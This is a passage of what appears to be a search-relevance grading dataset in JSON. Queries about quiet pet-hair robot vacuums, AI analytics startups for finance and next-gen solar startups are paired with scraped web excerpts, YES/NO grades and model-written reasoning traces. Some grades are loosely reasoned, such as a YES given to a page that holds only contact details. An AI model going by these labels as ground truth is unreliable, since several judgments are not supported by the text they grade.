                "text": "vacuums\n          \n                Updated \n                June 25, 2024\n          \n        \n        \n          \n             \n                  \n                    \n                  \n                \n            \n               By \n        ,\n          a technology and gadgets writer at the Strategist. \u00a0\n          He\u2019s been covering technology since 2017 and previously wrote for Wired, Wirecutter, and Reviewed.com. \n       \n              \n           \n        \n      \n  \n  \n    \n      \n            \n          \n        \n      \n            Best overall  \n            Best with mopping  \n            Best self-cleaning  \n      \n    \n  I adore my dogs \u2014 they\u2019re my best friends \u2014 but I loathe the dirt and hair they scatter all over my house. I used to mop and vacuum my home at least once a week to keep up, but in the year that I\u2019ve been testing robot vacuums, I\u2019ve been able to cut that down by about one or two cleaning days per month. Because I can program it to run while I\u2019m out of the house or asleep, or while I\u2019m working, I don\u2019t have to worry about making extra time to keep up with the mess my dogs are always dragging in.\n  Depending on the type of floors you have, you may want a robot that just vacuums or one that\u2019ll both vacuum and mop. And while every expert I\u2019ve spoken with has echoed the fact that a robot vacuum and mop can never replace an upright or cordless stick vacuum and actual mop you push around yourself, the best ones can get close. Models with smart navigation will more efficiently clean a room and also allow you to schedule cleaning sessions and optimize in other ways. For pet parents with skittish animals, a quieter model may keep the peace better than a louder one that may have other features to recommend it. And for those with accident-prone pets, robot vacuums with poop detection will ensure nothing gross gets smeared across the floor in the middle of a cleaning job.\n  To help you find the right robot vacuum for homes with pets, I tested eight robot vacuums, (four of which had mopping capabilitie",
                "model_trace": "Query Decomposition:\n1. {quietest}: The document mentions that quieter models may be better for pet parents with skittish animals, indicating that it considers noise levels -> ([1], SATISFIED)\n2. {robot vacuum}: The document is about robot vacuums, specifically for pet hair -> ([1], SATISFIED)\n3. {pet hair}: The document is focused on robot vacuums for homes with pets, addressing pet hair -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents relevant to the query. YES."
            },
            {
                "grade": "YES",
                "title": "Quiet Robot Vacuums: Cleaning with Tranquil Efficiency - eufy US",
                "url": "https://www.eufy.com/collections/quiet-robotic-vacuum",
                "published_date": null,
                "text": "Quiet robot vacuums offer unobtrusive cleaning, allowing for peaceful coexistence while they efficiently clean your space. Their low noise levels ensure minimal disruption to your activities and a more comfortable living environment. eufy offers a collection of the quietest robot vacuums, which can work like the stealthy ninjas of home cleaning. These robotic dynamos not only make cleaning a breeze but turn it into a virtually noiseless symphony.  Imagine a robot vacuum cleaner so hushed, it operates at just 55 dB - that's softer than a library whisper or the rustle of leaves. Now you can work, chat, or chill without any vacuum-related disturbances. But hush isn't their only magic trick. Our quiet robot vacuum cleaner is armed with an auto-empty station that can stash away up to 60 days' worth of dirt. That's right, you can enjoy spotless floors without worrying about frequent emptying sessions. And when it comes to cleaning, these quiet robotic vacuums don't mess around. With a mighty 2,500 Pa suction power and strong roller brushes, these quietest robot vacuums for pet hair make sure every crumb, speck, and fluff is vanquished. Now, here's where things get really cool. These marvels aren't just vacuums; they're your floor's best friends. With our 2-in-1 combo vacuums, you can switch from vacuuming to mopping mode to give your floors a dazzling makeover, leaving them sparkling and fresh. Furthermore, don't worry about the water level. You're in control of using just the right amount of moisture for a perfect mop. What's more, our best quiet robot vacuums employ Smart Dynamic Navigation, charting clever cleaning paths to ensure they cover every nook and cranny. They can even slide under furniture with a mere 2.85 profile - no more wrestling with sofas for lost crumbs. Overall, the most quiet robot vacuums from eufy will revolutionize how you experience cleaning with a perfect blending of advanced technology and effortless convenience, promising not only a pristine home but a tranquil one too. Check out the best r",
                "model_trace": "Query Decomposition:\n1. {quietest robot vacuum}: The document specifically discusses quiet robot vacuums, mentioning their low noise levels (55 dB) -> ([1], SATISFIED)\n2. {robot vacuum for pet hair}: The document mentions that these vacuums have strong roller brushes and 2,500 Pa suction power, which are effective for cleaning pet hair -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "The best robot vacuums for pet hair: Expert tested - ZDNet",
                "url": "https://www.zdnet.com/home-and-office/kitchen-household/the-best-robot-vacuum-for-pet-hair/",
                "published_date": null,
                "text": "If you have dogs or cats, you're likely too familiar with having hair everywhere, but it doesn't have to be that way. As a robot vacuum reviewer, pet hair is one of my pet peeves, so evaluating how a robot vacuum performs against it is one of the main characteristics I look for when testing these robots.\u00a0 Whether you have one furbaby or more, the fur dust bunnies in your house can be terrifying. The only thing that keeps my floors clean without manually vacuuming daily is a great robot vacuum\u00a0to tackle the task for me.  Also:   The best robot vacuum mops you can buy   What is the best robot vacuum for pet hair right now? Since there are so many robot vacuums, you may wonder which is best for your home. we've tested dozens of robot vacuums at home and through everyday life, and our top robot vacuum choice to tackle pet hair is the   Roomba j7+   due to its self-emptying dust bin and iRobot's Pet Owner Official Promise (P.O.O.P. guarantee). However, several other robot vacuum options are worth considering depending on your floor type and how much your pet sheds. The best robot vacuums for pet hair of 2024     Pros    Self-emptying    Intelligent    Smart Mapping technology    User-friendly app      Cons    Loud when it self-empties      One of our favorite robot vacuums is the Roomba Combo j7+. Many robot vacuums come and go through my home for testing, but this one earned a permanent spot. Part of why it's so loved is because it can handle all of the pet hair on our floor, whether it's been just a day or several days since it last ran. The robot self-empties as soon as the dust bin is full instead of waiting until the end of the job, like other robot vacuums. If it is peak shedding season, it's common for the j7+ to empty four or five times during a single job, never leaving any pet hair behind.  Review:\u00a0 Roomba j7+: A life-changing robot vacuum   In addition, it's simply an intelligent robot. The j7+ comes with the P.O.O.P guarantee, an innovative promise from the manufacturer that the robot vacuum will avoid pet",
                "model_trace": "Query Decomposition:\n1. {quietest}: The document mentions that the Roomba j7+ is loud when it self-empties -> ([1], UNSATISFIED)\n2. {robot vacuum}: The document is about robot vacuums -> ([1], SATISFIED)\n3. {pet hair}: The document specifically addresses robot vacuums for pet hair -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponents related to robot vacuums and pet hair but does not satisfy the requirement for being quiet. Since the user's query specifically asks for the quietest robot vacuum, and the document explicitly states that the Roomba j7+ is loud when it self-empties, the document is not helpful for this query. NO."
            }
        ]
    },
    {
        "query": "tech startup that makes AI-powered analytics tools for financial institutions",
        "grid_pos": [
            0,
            4
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of technology sectors including AI, biotech, consumer electronics, cloud computing, and renewable energy. They require knowledge of the tech industry, business models, and technical capabilities to properly evaluate. The queries are specific with technical details but still broadly applicable to major tech companies and startups."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Sentinels - Intelligent AML Transaction Monitoring",
                "url": "https://www.sentinels.ai/",
                "published_date": "2023-01-01",
                "text": "Detect Money Laundering in Real Time.\n\nAML transaction monitoring for efficient and confident compliance decisions.\n\naml transaction monitoring that works for you\n\nReduce your compliance costs and detect risk faster.\n\nSentinels Transaction Monitoring offers effective, data-driven transaction monitoring that reduces false positives, allowing you to focus resources on higher-risk customers and maintain AML compliance at scale.\n\nCustomize your monitoring with\n\n+\n\nRisk-based transaction monitoring rules loaded with predefined and customizable scenarios, easily adaptable to your context.\n\nReduce workload by\n\n%\n\nUse our optimized workflows and case management to spend less time on reporting and more time on detection.\n\nDecrease false positives by\n\n%\n\nCombine monitoring rules with machine learning and network analysis to make more accurate decisions.\n\nDeploy at speed and stay in control\nUsing a no-code business rules editor compliance teams can iterate transaction thresholds in a sandbox environment, generate backtesting reports in real-time and go live with adjusted rules without using any developer time.\nGet the full picture\nMake truly informed decisions with client-level analysis. Use rich client profiles, backed by internal and external data sources and insights from our engine to increase handling speed and decision quality.\n\nRules engine with machine learning\n\nOver 150 pre-defined monitoring rules\n\nReduce manual workload\nAutomate repetitive tasks with efficient case management tools that let you collaborate using configurable workflows.\nAnalyze and improve\nGain insight into your team performance with a comprehensive dashboard. Use export and query tools to delve further into the data and continually improve risk operations and team performance.\n\nCustomer Stories\n\nWe firmly believe that AI and machine learning will change the game in digital banking, and Sentinels is already confirming this belief.\n\nSergio Cerro\n CEO, Rebellion Pay\n\nSentinels\u2019 machine learning approach to monitoring transactions allows us to scale ",
                "model_trace": "Query Decomposition:\n1. {tech startup}: The document is about Sentinels, which is a tech startup -> ([1], SATISFIED)\n2. {makes AI-powered analytics tools}: The document mentions that Sentinels uses machine learning and AI for transaction monitoring -> ([1], SATISFIED)\n3. {for financial institutions}: The document focuses on AML (Anti-Money Laundering) transaction monitoring, which is relevant to financial institutions -> ([1], SATISFIED)\n\nAssessment: All key subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "Foreseer Advantage",
                "url": "https://foreseer.ai/",
                "published_date": "2021-05-01",
                "text": "Extract information from multiple unstructured data sources!\n\nForeseer is a turnkey human-in-the-loop enterprise platform that leverages AI and NLP to extract information from unstructured data at scale.\nIntelligent data extraction for: \n Banking\n Financial Data Providers\n Insurance\n Audit.\n\nWinner \u2013 BNY Mellon Connect 20 Challenge 2020!\n\nTrusted by multiple Fortune 500 clients across Banking, Financial Data providers and more!\n\nSee Foreseer in Action in a short demo video.\n\nForeseer Advantage\n\nBetter Improve data extraction accuracy by 30% \n Cheaper Reduce OPEX by 70% for data collection and processing \n Faster Extract and process data 5x faster. Launch new products in weeks. \n Smarter 100% control over the information you extract. Clean, complete data sets.\n\nForeseer helps banks, financial data providers, insurance companies, and buy-side firms extract and process data for unstructured and structured sources. We prevent delays, errors, or hefty fines due to regulatory or compliance issues.\n\nFinancial Data Providers Collect large, robust datasets with little human intervention. Foreseer's deep learning models are capable of extracting unstructured data for datasets faster than the competition and at a fraction of the cost. Full traceability, validation and data transformation support. \n Insurance Perform fast, secure, GDPR-compliant data collection from user-provided documents for insurance claims.Stop overpaying for claims with end to end visibility from submissions to claims processing. \n Banks Foreseer solves document extraction and end-to-end processing for loan or credit agreements, collateral management, confirms, and many more paper-driven processes that require significant human involvement. \n Audit Drastically reduce your audit cost and time by using Foreseer.AI\u2019s Audit solution to extract and compare information from public filings, financial disclosures, accounting policies and more. Do efficient research across comparable documents for answering audit questions. One stop solution for your data extrac",
                "model_trace": "Query Decomposition:\n1. {tech startup}: The document describes Foreseer, which appears to be a tech startup -> ([1], SATISFIED)\n2. {makes AI-powered analytics tools}: The document mentions that Foreseer leverages AI and NLP for data extraction and processing, which can be considered as part of analytics tools -> ([2], SATISFIED)\n3. {for financial institutions}: The document explicitly mentions that Foreseer provides solutions for banks, financial data providers, insurance companies, and buy-side firms -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES"
            },
            {
                "grade": "YES",
                "title": "Advanced Banking Analytics | Finlytica",
                "url": "https://www.finlytica.ai/",
                "published_date": "2022-09-20",
                "text": "WHAT WE DO\n\nWe deliver key insights to drive your business forward using data and AI.\n\nTo grow revenue while managing risk, smaller financial institutions today face increased competition from larger banks and lesser regulated Fintechs. Smaller institutions need increased digital outreach but are challenged by lack of digital resources and expertise. They need to grow revenue while managing risk and compliance.\n\nListen to our Podcasts with BankTalk\n\nRevenue Growth\n\nGrow revenue from new and existing customers. Focused data insights help you profile your most valuable customers and find more of the same. Help you pinpoint immediate upsell and cross-sell opportunities. And deliver personalized product and service recommendations for customers.\n\nDigital Transformation\n\nDigital transformation drives revenue and cost savings, but it requires skills and resources many banks and credit unions lack. We help our clients get a 360 View of their Customer relationships and portfolios. Our advanced analytics tools support marketing and compliance and keep our clients at the forefront of digital transformation.\n\nCustomer Experience in a Digital World\n\nThe world is more digital. Many customers prefer a digital channel for their banking. How do you maintain strong customer relationships in the new digital world? Our proven AI models can help reduce attrition. Data insights can help improve customer experience.\n\nRisk and Compliance\n\nIncreasing demands from risk and regulatory compliance are a given. Banks and credit unions are challenged with meeting these requirements while also achieving their revenue and profit goals. Our analytics insights help manage risk, identify potential fraud, and streamline regulatory compliance, building a foundation to better support new regulations like CECL.\n\nFinlytica For Banks\n\nfinlytica For Credit Unions\n\nLet's discuss today!\u200b\n\nSOLUTIONS\n\nIf the plan doesn\u2019t work \u2013 change the plan, not the goal! Banks and Credit Unions understand that in light of current challenges they need to do more with thei",
                "model_trace": "Query Decomposition:\n1. {tech startup}: The document is about Finlytica, which appears to be a startup -> ([1], SATISFIED)\n2. {makes AI-powered analytics tools}: The document mentions \"Our proven AI models\" and \"advanced analytics tools,\" indicating the use of AI for analytics -> ([1], SATISFIED)\n3. {for financial institutions}: The document specifically mentions solutions for banks and credit unions, which are financial institutions -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "AI in FinTech: Meet the Top 10 Startups Powered by AI",
                "url": "https://www.techmagic.co/blog/ai-in-fintech/",
                "published_date": null,
                "text": "Have you ever wondered how Fintech startups can provide cutting-edge financial services and products? Two words: Artificial Intelligence. \n                                FinTech and AI go hand in hand to create innovative solutions that drive the financial industry forward. In fact, according to the Cambridge Centre for Alternative Finance, 90% of Fintech companies already use AI. AI has brought numerous benefits to FinTech, including personalized financial advice, faster fraud detection, increased productivity and improved accuracy. Thanks to AI-powered data entry, Fintech firms have seen an 80% improvement in speed and accuracy. It's no surprise that more than a third of all financial services companies have recently adopted AI. From automation to customer service improvements, FinTech startups are using AI for various purposes. In fact, McKinsey research shows that 56% of firms use AI in at least one business function. But exactly how is AI used in fintech, and where is the industry heading after taking the most out of it? Through this article, we will discover how exactly AI alters the face of the financial sector, \u00a0ChatGPT integration and the most popular AI applications in Fintech. Don't miss out on the opportunity to add AI to your own business - start reading! Use Cases of Artificial Intelligence FinTech From data analysis to reducing fraud and enhancing investment strategies, AI has transformed how FinTech startups operate. In this section, we will explore some of the most promising case examples of artificial intelligence in FinTech.   Financial reporting Banks and other financial institutions deal with large amounts of data that must be analyzed and turned into comprehensive reports. This process can be time-consuming, which is where AI comes in. AI technology allows faster and more accurate data analysis, enabling financial institutions to produce reports quickly and efficiently. By utilizing AI algorithms, companies can identify trends, patterns, and insights that might have been overlooked. This le",
                "model_trace": "Query Decomposition:\n1. {tech startup}: The document mentions FinTech startups -> ([1], SATISFIED)\n2. {makes AI-powered analytics tools}: The document discusses AI applications in FinTech, including data analysis and financial reporting, which implies the use of AI-powered analytics tools -> ([2], SATISFIED)\n3. {for financial institutions}: The document specifically mentions that these AI applications are used by financial institutions -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides information about FinTech startups that use AI-powered tools for financial institutions, which aligns well with the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Top 10 Companies Changing the Future of Finance with AI",
                "url": "https://aimagazine.com/top10/top-10-companies-changing-the-future-of-finance-with-ai",
                "published_date": null,
                "text": "As the financial industry continues to evolve, AI has emerged as a key player in transforming financial services\u2019 delivery. With AI-powered solutions, financial institutions can offer more personalised services, better use of data, and streamlined operations \u2013 among other benefits.\u00a0 From fintech startups to global financial institutions, these companies are integrating AI to revolutionise the financial services sector. With machine learning (ML) algorithms, natural language processing (NLP), and computer vision, these companies are automating manual processes, improving risk management, and enhancing the customer experience.\u00a0  Whether it's through AI-powered robo-advisors, chatbots, or other innovative solutions, these companies are leading the charge in the utilisation of AI in finance.  10. Salesforce  Salesforce is a customer relationship management (CRM) platform that provides businesses with cloud-based solutions for sales, service, marketing, and collaboration. It was founded in 1999 and has since become one of the leading CRM providers in the world.\u00a0 Salesforce offers a secure platform for financial services organisations to connect and automate their front, middle, and back-office processes. The platform is designed to grow with the business and its customers, allowing for world-class onboarding experiences, real-time collaboration, and adaptable customer experiences.\u00a0 Salesforce offers solutions for various types of financial services businesses, including: retail, commercial, and investment banks; credit unions; insurance providers; and wealth and asset management firms. The platform helps employees provide seamless multi-channel experiences, automating processes, improving customer satisfaction, and overall efficiency.           9. Microsoft Azure    Microsoft Azure is a cloud computing platform and infrastructure created by Microsoft for building, deploying, and managing applications and services through a global network of Microsoft-managed data centres.\u00a0 According to Microsoft, the platform revoluti",
                "model_trace": "Query Decomposition:\n1. {tech startup}: The document mentions various companies, including startups and larger corporations -> ([1], SATISFIED)\n2. {makes AI-powered analytics tools}: The document mentions companies integrating AI into financial services, but it does not specify if they make AI-powered analytics tools -> ([0], UNSURE)\n3. {for financial institutions}: The document is focused on companies that use AI in the financial services sector, which includes financial institutions -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {tech startup} and {for financial institutions}. Both are satisfied by the document. The document provides a list of companies, some of which are likely tech startups and all are focused on financial institutions. YES."
            },
            {
                "grade": "YES",
                "title": "AI in FinTech: Meet the Top 10 Startups Powered by AI",
                "url": "https://www.linkedin.com/pulse/ai-fintech-meet-top-10-startups-powered-techmagic",
                "published_date": null,
                "text": "Fintech startups have leveraged the power of Artificial Intelligence (AI) to revolutionize the financial industry. AI has become the driving force behind innovative solutions in the fintech sector, with approximately  90% of fintech companies already incorporating AI , according to the Cambridge Centre for Alternative Finance.\n        \n  \n                \n    \n          The integration of AI has brought numerous advantages to fintech, including personalized financial advice, faster fraud detection, increased productivity, and improved accuracy. \n        \n  \n                \n    \n         By implementing AI-powered data entry, fintech firms have experienced an impressive  80% enhancement  in both speed and accuracy. As a result, more than a third of financial services companies have recently adopted AI. \n    \n  \n                \n    \n          The application of AI in fintech spans various areas, ranging from automation to customer service improvements. McKinsey research reveals that 56% of firms utilize AI in at least one business function. This article delves into the specific ways AI is used in fintech and explores the future direction of the industry after harnessing the full potential of AI.\n        \n  \n                \n    \n          Discover the transformative impact of AI on the financial sector, the integration of ChatGPT, and the most popular AI applications in fintech. Don't miss out on the opportunity to incorporate AI into your own business. Read on to learn more!\n        \n  \n                \n    \n           \n            Use Cases of AI in Fintech\n          \n     \n  \n                \n    \n          AI has revolutionized the operations of fintech startups, transforming processes such as data analysis, fraud detection, investment strategies, and more. Let's delve into some promising use cases of AI in fintech:\n        \n  \n                \n    \n          Financial Reporting \n     \n  \n                \n    \n          Financial institutions, including banks, deal with vast amounts of data that need to be an",
                "model_trace": "Query Decomposition:\n1. {tech startup}: The document mentions fintech startups, which are tech startups -> ([1], SATISFIED)\n2. {AI-powered analytics tools}: The document discusses the use of AI in various fintech applications, including data analysis, which can be considered analytics tools -> ([2], SATISFIED)\n3. {for financial institutions}: The document specifically mentions financial institutions and their use of AI -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document discusses fintech startups that leverage AI for various applications, including analytics for financial institutions. YES."
            }
        ]
    },
    {
        "query": "sustainable energy startup that builds next-gen solar panels with improved efficiency",
        "grid_pos": [
            0,
            4
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The queries cover a range of technology sectors including AI, biotech, consumer electronics, cloud computing, and renewable energy. They require knowledge of the tech industry, business models, and technical capabilities to properly evaluate. The queries are specific with technical details but still broadly applicable to major tech companies and startups."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "PI Energy Website",
                "url": "https://www.pienergy.com/",
                "published_date": "2022-06-14",
                "text": "The Future of Solar Energy Affordable solar energy with the flexibility to provide power just about anywhere.\n\nTo think big, we thought small, flexible, and cheap PI Energy enables solar energy that is low-cost, non-toxic and globally scalable. This solution has the potential to accelerate developing regions into sustainable modernity, creating a positive impact to billions of individuals that is also a compelling business opportunity.\n\nMost of the Energy Market\u2019s Growth is in Developing Regions\n\nThe majority of humanity lives in developing countries. Globally deployable sustainable energy must be cost competitive. Developing regions will experience the largest energy market growth, and PI Energy aims to enable low-cost solar energy for the entire global market.\n\n\u201cCleaner energy that is driven by technology that is commercially competitive\u201c\n\n\u201cThis has been my dream since growing up in Southern California. After one particular rain storm, I realized there were beautiful mountains that had been cloaked by the smog that I hadn\u2019t seen before. We can do better than this. Now as a father I want my kids to have a better environment than that, this is the planet my children will be inheriting.\u201d Phil Layton, CEO of PI Energy \u2013Veteran scientist and expert in bringing technology to market who came out of aerospace, having worked on many space systems including the Mars Rover and Cassini probes\n\nEnabling new markets, putting solar PV closer to the source of demand and storage\n\nA low-cost, non-toxic, thin, flexible, high-performance solar PV enables new solutions across many sectors, including mobile devices, electric vehicles, and wrapping around buildings and roofs.",
                "model_trace": "Query Decomposition:\n1. {sustainable energy startup}: This document is about PI Energy, which is a sustainable energy startup -> ([1], SATISFIED)\n2. {builds next-gen solar panels}: The document mentions that PI Energy is working on low-cost, non-toxic, thin, flexible, high-performance solar PV, which can be considered next-gen solar panels -> ([2], SATISFIED)\n3. {with improved efficiency}: The document does not explicitly state that the solar panels have improved efficiency, but it implies high performance and new solutions -> ([2], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents that can be evaluated. YES."
            },
            {
                "grade": "YES",
                "title": "Solar panel improved efficiency | Renkube",
                "url": "https://www.renkube.com/",
                "published_date": "2022-08-01",
                "text": "\u200b balaji@renkube.com \u200b +91-80-23182272 \u200b company/renkube Location \u200b #8 B, \u201cSiddhi Vinayaka 2nd Phase, Dr Puneeth Rajkumar Rd, Marilingappa Extension, Naagarabhaavi, Bengaluru, Karnataka 560072 First Name Last Name Email Write a message Thanks for submitting! Copyright \u00a9 2023 Renkube . All rights reserved",
                "model_trace": "Query Decomposition:\n1. {sustainable energy startup}: The document is about Renkube, which appears to be a company in the sustainable energy sector -> ([1], SATISFIED)\n2. {builds next-gen solar panels}: The document mentions solar panel efficiency, which suggests that Renkube is involved in developing advanced solar panels -> ([2], SATISFIED)\n3. {improved efficiency}: The title explicitly mentions \"improved efficiency\" in relation to solar panels -> ([1], SATISFIED)\n\nAssessment: The document satisfies all relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Tandem PV",
                "url": "https://www.tandempv.com/",
                "published_date": "2016-04-06",
                "text": "High Efficiency Tandem PV solar panels are sensitive to visible wavelengths of light; more effectively turning it into electricity than current technologies. Low Cost More powerful solar panels equals cheaper installation, making the investment accessible to more people. Clean Power Tandem solar panels make net zero houses in an electrified future an achievable reality. Tandem PV Co-Founder, Colin Bailie, Named Forbes 30 under 30 in Energy NET ZERO HOMES Everything is Electrified A typical American household charging electric cars, with electric heating and cooking, needs 25%, 30%, sometimes 35% efficient solar panels to keep the electric bill near $0/mo, a far cry from the typical 20% efficient silicon solar panel today.\n\u200b\nTo reach this type of performance, tandem solar panels are needed to make fully electrified homes with $0 electricity bills a reality for most of the country. Tandem PV makes this vision a reality. TANDEM PV - Awarded Over 5 Prestigious Grants The Future of Solar is Here More powerful than any solar panel on the market High Efficiency Tandem PV solar panels are sensitive to visible wavelengths of light; more effectively turning it into electricity than current technologies. Clean Power Tandem solar panels make net zero houses in an electrified future an achievable reality. The reality of clean sun power throughout is here. Low Cost More powerful solar panels equals cheaper installation, making the investment accessible to more people in more areas. Solar Panels High Efficiency Tandem PV solar panels are sensitive to visible wavelengths of light; more effectively turning it into electricity than current technologies. Clean Power Tandem solar panels make net zero houses in an electrified future an achievable reality. The reality of clean sun power throughout is here. Low Cost More powerful solar panels equals cheaper installation, making the investment accessible to more people in more areas. Solar Panels",
                "model_trace": "Query Decomposition:\n1. {sustainable energy startup}: This document is about Tandem PV, a company involved in solar energy, which is a form of sustainable energy -> ([1], SATISFIED)\n2. {builds next-gen solar panels}: The document mentions that Tandem PV builds high-efficiency tandem solar panels, which are more advanced than current technologies -> ([1], SATISFIED)\n3. {improved efficiency}: The document states that Tandem PV's solar panels are more efficient than current technologies, with efficiencies reaching 25%, 30%, and sometimes 35% compared to the typical 20% -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "YES",
                "title": "The race to get next-generation solar technology on ...",
                "url": "https://www.technologyreview.com/2024/01/15/1086482/the-race-to-get-next-generation-solar-technology-on-the-market/",
                "published_date": null,
                "text": "Companies say perovskite tandem solar cells are only a few years from bringing record efficiencies to a solar project near you.             In Swift Solar\u2019s lab, more than a dozen pairs of elbow-length rubber gloves hover horizontally in midair, inflated like arms. The gloves are animated by gaseous nitrogen and jut out of waist-high, glass-walled enclosures, designed to keep the workspaces dry and airtight to protect the delicate solar materials inside.\u00a0 In a corner, technician Roger Thompson slides his hands into a pair and begins slotting small glass slides into a metal plate. Soon, a conveyor belt will carry the plate behind a metal door, where \u201cblack box magic,\u201d as Swift CEO Joel Jean calls it, will add a chemical coating designed to conduct electrical current.\u00a0   Swift, which operates this facility in a quiet industrial neighborhood in Silicon Valley, is one of a growing group of companies experimenting with next-generation solar technology. The startup is racing to produce commercially viable solar cells that layer the traditional silicon with materials called perovskites.\u00a0 Stacking these two materials, which absorb different wavelengths of sunlight, allows solar panels to reach higher efficiencies and produce more electricity per panel. That means perovskite tandem solar cells could reduce costs and boost the amount of renewable electricity on the grid.\u00a0\nThe promise is significant. But companies and scientists have been tinkering with the technology for over a decade without any commercial deployment. As a solar material, perovskites are fickle\u2014they\u2019re sensitive to water, heat, and light. And some researchers warn time may be running out.\u00a0 \u201cI have a feeling that if in the next two to three years there\u2019s no perovskite products, the market may decrease its confidence in this technology,\u201d says Bin Chen, a research assistant professor who focuses on perovskite technology at Northwestern University.\u00a0\nResearchers and startups including Swift are working feverishly to develop those products, emboldened by recent",
                "model_trace": "Query Decomposition:\n1. {sustainable energy startup}: The document mentions Swift Solar, a startup working on solar technology -> ([1], SATISFIED)\n2. {builds next-gen solar panels}: The document describes Swift Solar's work on next-generation solar technology, specifically perovskite tandem solar cells -> ([1], SATISFIED)\n3. {improved efficiency}: The document states that the perovskite tandem solar cells aim to achieve higher efficiencies by layering traditional silicon with perovskites -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Startup plans to build next-generation US solar factory in ...",
                "url": "https://www.paneltheplanet.com/startup-plans-to-build-next-generation-us-solar-factory-in-two-years/",
                "published_date": null,
                "text": "Startup Swift Solar Inc. wants to build a US factory for manufacturing its futuristic panels in the next two to three years amid government plans to bolster the sector against China\u2019s dominance.\nThe California-based company aims to produce cells with a material known as perovskite, which can allow panels to capture energy from the sun\u2019s rays more efficiently. Durability, though, remains an issue.\nSwift plans to open its first plant with the initial capacity to produce 100 megawatts annually of technology that pairs perovskite with traditional silicon photovoltaic cells. For comparison, the average Chinese plant churns out about 10,000 megawatts per year while US projects tend to be in the 1,000 to 3,000 megawatt range, according to BloombergNEF solar analyst Jenny Chase.\n Click here to read the full article \nSource: Bloomberg \n\u2014\n If you have any questions or thoughts about the topic, feel free to contact us here or leave a comment below. \n ||||I||||        * Facebook\n        * X\n        * Instagram\n        * LinkedIn\n          Get in touch about going solar: (424) 256-6912\n            * Commercial Solar\n            * Residential Solar\n            * About Us\n                + Our Company\n                + Why Us?\n                + News\n                + Contact Us\n            * REQUEST A CONSULTATION\n            * Menu Menu\n            Startup plans to build next-generation US solar factory in two years\n            Solar Industry News\n            Startup Swift Solar Inc. wants to build a US factory for manufacturing its futuristic panels in the next two to three years amid government plans to bolster the sector against China\u2019s dominance.\n            The California-based company aims to produce cells with a material known as perovskite, which can allow panels to capture energy from the sun\u2019s rays more efficiently. Durability, though, remains an issue.\n            Swift plans to open its first plant with the initial capacity to produce 100 megawatts annually of technology that pairs perovskite with traditional silic",
                "model_trace": "Query Decomposition:\n1. {sustainable energy startup}: The document mentions Swift Solar Inc., a startup in the solar energy sector -> ([1], SATISFIED)\n2. {builds next-gen solar panels}: The document states that Swift Solar Inc. plans to build next-generation solar panels using perovskite material -> ([1], SATISFIED)\n3. {improved efficiency}: The document mentions that the perovskite material allows panels to capture energy more efficiently -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "NO",
                "title": "Researchers take major step toward developing next- ...",
                "url": "https://www.colorado.edu/today/2024/03/20/researchers-take-major-step-toward-developing-next-generation-solar-cells",
                "published_date": null,
                "text": "The solar energy world is ready for a revolution. Scientists are racing to develop a new type of solar cell using materials that can convert electricity more efficiently than today\u2019s panels.\u00a0\nIn a new paper published February 26 in the journal Nature Energy, a CU Boulder researcher and his international collaborators unveiled an innovative method to manufacture the new solar cells, known as perovskite cells, an achievement critical for the commercialization of what many consider the next generation of solar technology.\nToday, nearly all solar panels are made from silicon, which boast an efficiency of 22%. This means silicon panels can only convert about one-fifth of the sun\u2019s energy into electricity, because the material absorbs only a limited proportion of sunlight\u2019s wavelengths. Producing silicon is also expensive and energy intensive.\nEnter perovskite. The synthetic semiconducting material has the potential to convert substantially more solar power than silicon at a lower production cost.\n \nMichael McGehee\n\u201cPerovskites might be a game changer,\u201d said Michael McGehee, a professor in the Department of Chemical and Biological Engineering and fellow with CU Boulder\u2019s Renewable & Sustainable Energy Institute.\u00a0\nScientists have been testing perovskite solar cells by stacking them on top of traditional silicon cells to make tandem cells. Layering the two materials, each absorbing a different part of the sun\u2019s spectrum, can potentially increase the panels\u2019 efficiency by over 50%.\n\u201cWe're still seeing rapid electrification, with more cars running off electricity. We\u2019re hoping to retire more coal plants and eventually get rid of natural gas plants,\u201d said McGehee. \u00a0\u201cIf you believe that we're going to have a fully renewable future, then you're planning for the wind and solar markets to expand by at least five to ten- fold from where it is today.\u201d\u00a0\nTo get there, he said, the industry must improve the efficiency of solar cells.\nBut a major challenge in making them from perovskite at a commercial scale is the process of coa",
                "model_trace": "Query Decomposition:\n1. {sustainable energy startup}: The document discusses research from CU Boulder, which is an academic institution, not a startup -> ([1], UNSATISFIED)\n2. {builds next-gen solar panels}: The document details the development of next-generation solar cells using perovskite materials -> ([1], SATISFIED)\n3. {improved efficiency}: The document mentions that perovskite cells can potentially increase efficiency by over 50% compared to traditional silicon cells -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {builds next-gen solar panels} and {improved efficiency}. While these are satisfied, the document does not meet the key subcomponent of {sustainable energy startup}. Therefore, the document is not helpful for the user's request. NO."
            }
        ]
    },
    {
        "query": "python library to scrape data from a table on a website that requires login",
        "grid_pos": [
            0,
            5
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
